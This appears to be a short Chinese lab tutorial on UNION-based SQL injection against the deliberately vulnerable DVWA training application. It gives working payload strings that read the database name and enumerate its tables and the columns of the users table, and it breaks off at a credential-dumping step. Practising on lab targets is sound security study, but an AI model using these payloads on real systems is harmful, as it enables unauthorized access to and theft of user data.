sql注入，union联合查询

一、DVWA Security

            1、low级别

                  （1）判断列数：

                     

                  （2）判断显示位

                    

                 （3）查看当前数据库名：1' union select database(),2 -- 

                    

                  （4）查看数据库有那些表(爆数据表）：

1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2 -- 

                    

                    (5）查看对应表有哪些列（爆字段）

1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2 --

                     

                 （6）查看账号密码信息（数据拖库）：